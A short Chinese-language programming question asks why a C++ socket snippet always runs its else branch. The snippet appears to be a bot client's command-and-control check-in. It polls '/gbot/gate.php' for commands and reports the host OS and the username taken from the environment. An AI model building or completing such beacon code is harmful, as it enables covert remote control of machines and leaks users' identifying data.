使用下面的代码,程序总是进入 if 的 else 部分,而不是第一个 - 为什么?
char buffer[10000];
if(buffer[0] != '\0')
{
send(Socket, "GET /gbot/gate.php?page=get_cmd", strlen("GET /gbot/gate.php?page=get_cmd"), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
buffer[0] = '\0';
}
else
{
string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL){
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "&version=win";
mybuf += "\r\n\r\n";
}
else
mybuf += "linux\r\n\r\n";
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}